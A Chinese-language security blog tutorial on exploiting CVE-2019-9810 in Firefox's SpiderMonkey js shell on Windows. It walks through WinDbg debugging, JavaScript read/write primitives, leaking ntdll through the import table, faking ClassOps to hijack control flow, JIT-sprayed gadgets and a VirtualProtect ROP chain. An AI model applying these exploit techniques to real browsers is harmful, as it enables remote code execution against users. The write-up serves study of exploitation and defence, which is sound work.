在Linux的js shell环境下利用成功了之后,我不禁开始思考,为什么每次都是在Linux环境下拿到一个shell呢?从一个CTF成长为一名真正的黑客还有多少路需要走?征服Windows环境下的漏洞利用真的有想像中那么难吗?好吧,不尝试一下怎么可能知道。不要做一个只会动嘴皮的“学术大佬”,让我们动手试试。
环境的不同导致的第一个问题就是怎么样去调试。我们知道在Linux下面可以通过gdb以及python辅助的gdb脚本进行调试,可以很方便的。但是在windows下面只有windbg这个工具供我们使用。因此,适应这个调试器,是我们首先要做的事情。首先在windows 10应用商店当中下载Windbg Preview版本,然后选择Launch executable(advanced)
,设定可执行文件为js.exe
,参数为test.js
,同时设置起始文件夹为js.exe
所在的目录。
我们可以通过一个简单的例子来了解一下Windbg的使用。对于如下的代码
Smalls = new Array(8);
UA = new Uint32Array(4);
Smalls[0] = 1;
Smalls[1] = 0x1337;
dumpObject(Smalls);
dumpObject(UA);
console.log("hello world");
首先在Windbg当中设置断点bp js!Print
。然后执行,会发现程序在js!Print
函数的开始处停止。并直接输出了dumpObject
的结果
0:000> g
ModLoad: 00007ff9`0db30000 00007ff9`0db41000 C:\Windows\System32\kernel.appcore.dll
object 3addc9502208
global 91660e80060 [global]
class 7ff702de3f88 Array
group 91660e7dd00
flags:
proto <Array object at 91660ea8040>
properties:
"length" (shape 91660e987e8 permanent getterOp 7ff7023f6b40 setterOp 7ff7023f6af0)
elements:
0: 1
1: 4919
object 3addc9502288
global 91660e80060 [global]
class 7ff702e0ca60 Uint32Array
group 91660e7de80
flags:
proto <Uint32ArrayPrototype object at 91660e831e0>
private 3addc95022c8
reserved slots:
0 : null
1 : 4
2 : 0
properties:
Breakpoint 0 hit
js!Print:
00007ff7`0237fb90 53 push rbx
可以在View菜单当中选择在界面中增加Dissembly
,Registers
两个选项卡,查看反汇编代码以及寄存器的信息。根据上面输出的信息可以得出,代码中创建的Array数组在内存中的位置为00003addc9502208
,代码中创建的Uint32Array数组在内存中的位置为3addc9502288
。两个数组之间相距0×80,这和我们之前在Linux环境下看到的数组之间的间隔不同。通过dqs
命令看一下内存中的数据分布情况,发现数组的backing buffer
地址为3addc9502238
。这个地址中存放的数据就是存放在Array数组当中的数据。
另外,紧跟着这个Array类型数组的后面是一个Uint32Array类型的数组,与Array类型数组不同的是,在js::NativeObject
这个类型的结构体当中,多了一个elements_
的属性。这个属性存储的是js!emptyElementsHeader+0x10
。这个属性中的值指向了js.exe
程序的.rdata
段。如果能够泄漏这个属性当中的内容,就能够计算出js.exe
在系统中的加载地址。
除了elements_
的属性之外,紧接着后面分别是BUFFER_SLOT
,LENGTH_SLOT
,BYTEOFFSET_SLOT
,以及DATA_SLOT
。其中DATA_SLOT
直接指向了后面8个字节的内容。指向的内存地址在同一页当中。
0:000> dqs 3addc9502208 l20
00003add`c9502208 00000916`60e7dd00
00003add`c9502210 00000916`60e987e8
00003add`c9502218 00000000`00000000
00003add`c9502220 00003add`c9502238
00003add`c9502228 00000002`00000000
00003add`c9502230 00000008`0000000a
00003add`c9502238 fff88000`00000001
00003add`c9502240 fff88000`00001337
00003add`c9502248 2f2f2f2f`2f2f2f2f
00003add`c9502250 2f2f2f2f`2f2f2f2f
00003add`c9502258 2f2f2f2f`2f2f2f2f
00003add`c9502260 2f2f2f2f`2f2f2f2f
00003add`c9502268 2f2f2f2f`2f2f2f2f
00003add`c9502270 2f2f2f2f`2f2f2f2f
00003add`c9502278 2f2f2f2f`2f2f2f2f
00003add`c9502280 2f2f2f2f`2f2f2f2f
00003add`c9502288 00000916`60e7de80
00003add`c9502290 00000916`60eb34e8
00003add`c9502298 00000000`00000000
00003add`c95022a0 00007ff7`02dfa2c0 js!emptyElementsHeader+0x10
00003add`c95022a8 fffa0000`00000000 BUFFER_SLOT
00003add`c95022b0 fff88000`00000004 LENGTH_SLOT
00003add`c95022b8 fff88000`00000000 BYTEOFFSET_SLOT
00003add`c95022c0 00003add`c95022c8 DATA_SLOT
在大致熟悉了Windbg调试器的使用方式了之后就可以开始继续进行漏洞利用了。这里使用的例子依然是最开始时我们用的CVE-2019-9810
的漏洞。这个漏洞的详细分析有很多的文章都已经介绍过了,这里就不过多赘述。我们想要达到的效果仅仅是通过这个漏洞,熟悉Windows环境下浏览器软件的漏洞利用流程。
现代的操作系统,无论是Linux还是Windows,由于地址随机化的加入,漏洞利用首先要完成的都是要想办法泄漏程序或者dll的加载地址。以此为依据计算想要使用的函数地址,构造ROP实现任意代码执行。
这里的做法是首先找到和Biggie数组(之前已经将其长度修改成了0×42424242)相邻的数组。首先因为Uint32Array
数组在存储数据的时候会先找到对应的DATA_SLOT
然后通过DATA_SLOT
加上index*4
的值获得要存储数据的地址。因此只要通过这个Biggie数组向后越界修改后面的一个数组的长度属性。然后再通过find找到后面这个数组就能够完全掌控后面相邻数组的raw_data
了。掌握后面这个Uint32Array
的raw_data
之后就能够修改其DATA_SLOT
中的数据从而能够从你写进去的地址读取数据。当然,前提是你写进去的数据地址是合法的,如果这个地址是非法的话会造成程序直接崩溃。具体的操作方法如下:
function read(lo, hi){
Biggie[42 + 4] = lo;
Biggie[42 + 5] = hi;
return [AdjacentArray[0], AdjacentArray[1]]
}
因为Biggie[42]
中是下一个相邻Array的长度属性,因此Biggie[42 + 4]
和Biggie[42 + 5]
中存储的就是下一个相邻的Array的DATA_SLOT
数据。修改了这里的两个数值之后读取AdjacentArray[0]
中的内容就能够直接获得任意地址中的数据。
与任意地址读的原因相同,在修改了DATA_SLOT
之后对AdjacentArray[0]
赋值就能够做到任意地址写。当然,需要注意的是,因为AdjacentArray
是一个Uint32Array
类型的数组,所以任意地址写的内容是一个32位的数。
function write(lo, hi, v){
Biggie[42 + 4] = lo;
Biggie[42 + 5] = hi;
AdjacentArray[0] = v;
}
这个问题是让人比较困扰的一个问题,因为在Linux环境下,调用的动态链接函数地址会存储在二进制程序的GOT段当中,读取了这个地方就能够泄漏动态链接库的函数地址,从而计算出动态链接库的加载地址。但是显然在Windows环境下, 程序没有GOT段,那么应该读什么地方呢?是否有一个地方在读取了之后会和读取程序的GOT段有同样的效果,能够计算出程序动态链接库加载地址的值。
首先通过dh -a js
命令查看js.exe
加载了哪些dll当中的函数。其中有一个引人注意的部分是
_IMAGE_IMPORT_DESCRIPTOR 00007ff680495890
KERNEL32.dll
00007FF680496588 Import Address Table
00007FF680495BE0 Import Name Table
0 time date stamp
0 Index of first forwarder reference
可以看到他当中存在一个kernel32的IAT表。在这个表中存储的是kernel32以及ntdll这两个动态链接库中函数真实地址。在漏洞利用的过程中,可以直接读取表中的ntdll!RtlDeleteCriticalSection
值,并计算出ntdll库的加载基址。
0:000> dqs 00007FF680496588
00007ff6`80496588 00007ffe`d75bf260 ntdll!RtlAddVectoredExceptionHandler
00007ff6`80496590 00007ffe`d7391b80 KERNEL32!CloseHandle
00007ff6`80496598 00007ffe`d738ecf0 KERNEL32!ConnectNamedPipe
00007ff6`804965a0 00007ffe`d7391bd0 KERNEL32!CreateEventA
00007ff6`804965a8 00007ffe`d7391c00 KERNEL32!CreateEventW
00007ff6`804965b0 00007ffe`d7391df0 KERNEL32!CreateFileA
00007ff6`804965b8 00007ffe`d738a8a0 KERNEL32!CreateFileMappingA
00007ff6`804965c0 00007ffe`d73c9870 KERNEL32!CreateNamedPipeA
00007ff6`804965c8 00007ffe`d7572b40 ntdll!RtlDeleteCriticalSection
00007ff6`804965d0 00007ffe`d755b390 ntdll!RtlEnterCriticalSection
泄漏出ntdll的地址之后,就要想办法做到任意代码执行了。与Linux环境下不同的是,这里没有environ
的环境变量,无法直接泄漏出栈的地址。因此,想要得到任意代码执行的能力还必须劫持程序的控制流。这里提供一种可供参考的控制流劫持方式,修改classOps
属性。
还是通过最开始的那个例子,这次我们仔细看看内存中分别存储了一些什么内容。
object 2ebf86102288
global 1cfdf0d80060 [global]
class 7ff68036ca60 Uint32Array
group 1cfdf0d7de80
flags:
proto <Uint32ArrayPrototype object at 1cfdf0d831e0>
private 2ebf861022c8
reserved slots:
0 : null
1 : 4
2 : 0
properties:
Breakpoint 0 hit
0:000> dt js!js::Class 7ff68036ca60
+0x000 name : 0x00007ff6`8043ee11 "Uint32Array"
+0x008 flags : 0x75200303
+0x010 cOps : 0x00007ff6`8036c6c0 js::ClassOps
+0x018 spec : 0x00007ff6`8036c860 js::ClassSpec
+0x020 ext : 0x00007ff6`8036c960 js::ClassExtension
+0x028 oOps : (null)
0:000> dt js!jsClassOps 0x00007ff6`8036c6c0
+0x000 addProperty : (null)
+0x008 delProperty : (null)
+0x010 enumerate : (null)
+0x018 newEnumerate : (null)
+0x020 resolve : (null)
···
当修改了addProperty
的内容之后再添加属性(UA.aaa = 1;
),能够劫持程序的控制流。
0:000> eq 00007ff6`8036c6c0 0xdeaddeaddeadbeef
0:000> g
(d3c.f1c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
js!js::NativeSetProperty<js::Qualified>+0x2c5f:
00007ff6`7face48f ffd7 call rdi {deaddead`deadbeef}
这里在我们获得了任意地址读写的能力之后,一种有效的做法是伪造js::NativeObject
结构体,以及他的属性值。这里有的小伙伴可能会问了,为什么要伪造,而不是直接写。这是因为这个addProperty
的地址是不可写的。
具体要伪造的数据内容如图所示,一个TypedArrayClass结构体以及一个ClassOps的结构体。然后将原有的结构体中的数据复制到这个位置当中,之后修改掉group当中存放的内容,以及shape指向的fake data当中存放的内容。构造的具体代码如下:
const Target = new Uint8Array(90);
[target_lo, target_hi] = addrof(Target);
target_hi -= 0xfffe0000;
log(target_lo, target_hi);
[target_group_lo, target_group_hi] = read(target_lo, target_hi);
log(target_group_lo, target_group_hi);
[target_class_lo, target_class_hi] = read(target_group_lo, target_group_hi);
log(target_class_lo, target_class_hi);
[target_cops_lo, target_cops_hi] = read(target_class_lo + 0x10, target_class_hi);
log(target_cops_lo, target_cops_hi);
[target_shape_lo, target_shape_hi] = read(target_lo + 8, target_hi);
log(target_shape_lo, target_shape_hi);
[target_base_lo, target_base_hi] = read(target_shape_lo, target_shape_hi);
log(target_base_lo, target_base_hi);
const MemoryBackingObject = new Uint32Array(0x88/4);
[MemoryBackingObject_lo, MemoryBackingObject_hi] = addrof(MemoryBackingObject);
MemoryBackingObject_hi -= 0xfffe0000;
[MemoryBackingAddress_lo, MemoryBackingAddress_hi] = read(MemoryBackingObject_lo + 0x38, MemoryBackingObject_hi);
log(MemoryBackingAddress_lo, MemoryBackingAddress_hi);
//we will make fake class object in this backing buffer
ClassBackingAddress_lo = MemoryBackingAddress_lo;
ClassBackingAddress_hi = MemoryBackingAddress_hi;
// 0:000> ?? sizeof(js!js::Class)
// unsigned int64 0x30
ClassOpsBackingAddress_lo = MemoryBackingAddress_lo + 0x30;
ClassOpsBackingAddress_hi = MemoryBackingAddress_hi;
//now we copy the original class contents into the backing buffer
MemoryBackingObject.set(readn(target_class_lo, target_class_hi, 0x30 / 4), 0);
MemoryBackingObject.set([ClassOpsBackingAddress_lo, ClassOpsBackingAddress_hi], 0x10 / 4);
//now we copy the original classops contents into the backing buffer
MemoryBackingObject.set(readn(target_cops_lo, target_cops_hi, 0x50 / 4), 0x30 / 4);
MemoryBackingObject.set([0xdeadbeef], 0x30 / 4);
//overwrite the target classp
write(target_group_lo, target_group_hi, ClassBackingAddress_lo);
write(target_group_lo + 4, target_group_hi, ClassBackingAddress_hi);
write(target_base_lo, target_base_hi, ClassBackingAddress_lo);
write(target_base_lo + 4, target_base_hi, ClassBackingAddress_hi);
Target.aaa_bbb = 1;
0:000> g
ModLoad: 00007ffe`98dd0000 00007ffe`98de1000 C:\Windows\System32\kernel.appcore.dll
(224.1784): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
js!js::NativeSetProperty<js::Qualified>+0x2c5f:
00007ff6`bd77e48f ffd7 call rdi {deadc0de`deadbeef}
现在我们有了控制RIP一次跳转的机会,但这还不够。还需想办法执行ROP或者最好能够直接执行shellcode。这就需要我们再做一次栈迁移,以便将执行流转到我们的ROP或者shellcode上。总结一下目前可以实现的功能:
1.知道内存中对象存储在什么地址
2.有办法控制程序的执行流
3.有空间存储利用链,并且没有任何的限制
为了弄清楚我们现在可以做一些什么,首先可以看一下在到达任意代码执行时,寄存器的状态和内容。
0:000> r
rax=fff8800000000000 rbx=000000e913dfec90 rcx=000002dc43e18000
rdx=000000e913dfec90 rsi=000002dc43e18000 rdi=deadc0dedeadbeef
rip=00007ff6bd77e48f rsp=000000e913dfe800 rbp=0000000000000000
r8=000000e913dfea60 r9=000002dc43ecf0b0 r10=000000000000009a
r11=0000000000000000 r12=000000e913dfea60 r13=00000ce1a231e498
r14=0000000000000001 r15=00000351701b40a0
1.r8寄存器指向的内容是一个string类型的结构体,这个结构体中存储的字符串是我们新增的这个属性的字符串
2.rdx中存储的是
Target
这个Uint8Array
类型的Array,同样rbx寄存器当中也存储了这个Array结构体的地址3.r9当中存储的是我们要新增的属性的值,这里是
1
但是当我在内存中查找的时候没有找到能够使用的靠谱gadgets,ggwp。我们需要尝试一些其他的方法才行。
这里采用的方法是让引擎编译函数的时候创建出我们需要的gadgets,在内存中写入我们需要的gadget。对于下面的这个例子而言,在编译完成之后内存中会产生对应的汇编代码。
const BringYourOwnGadgets = function () {
const A = -1.1885958399657559e+148;
const B = -1.1885958399657559e+148;
const C = -1.1885958399657559e+148;
const D = -1.1885958399657559e+148;
const E = -1.1885958399657559e+148;
};
for(let Idx = 0; Idx < 12; Idx++) {
BringYourOwnGadgets();
}
000003ed`90972578 49bbdec0adbaefbeadde mov r11,0DEADBEEFBAADC0DEh
000003ed`90972582 4c895dc8 mov qword ptr [rbp-38h],r11
因为这一段内存是可以执行的,所以这样一来,我们在内存中有了8个字节的shellcode可以使用。通过这些小段gadgets能够将栈迁移到我们想要的位置上。基本上我们需要的gadgets有下面两种:
1.
xchg rsp, rdx / mov rsp, qword ptr [rsp] / mov rsp, qword [rsp+38h] / ret
2.设置好调用
kernel32!VirtualProtect
函数的寄存器参数pop rcx / pop rdx / pop r8 / pop r9 / ret
构造如下的函数:
const BringYourOwnGadgets = function () {
const Magic = -1.1885958399657559e+148;
const PopRegisters = -6.380930795567661e-228;
const Pivot0 = 2.4879826032820723e-275;
const Pivot1 = 2.487982018260472e-275;
const Pivot2 = -6.910095487116115e-229;
};
其中Magic是0xdeadbeefbaadc0de
这个数字的double类型表示。通过在内存中搜索这个值找到JITed code的地址。这样我们就获得了我们想要的gadgets,虽然这些gadgets最长只有8个字节,但是对于我们想要构造的内容已经完全足够了。接下来只需要将ropchain写到Target数组的buffer空间当中去即可。
const ropchain = new Uint32Array([
Pop_lo, Pop_hi,
ShellCodeBuffer_lo, ShellCodeBuffer_hi,
Shellcode.length, 0,
0x40, 0,
target_buffer_lo, target_buffer_hi,
virtualprotect_lo, virtualprotect_hi,
ShellCodeBuffer_lo, ShellCodeBuffer_hi
]);
Target.set(ropchain, offset2rop);
在ROP执行完毕之后就能够执行任意的shellcode了。
*本文原创作者:Kriston,本文属FreeBuf原创奖励计划,未经许可禁止转载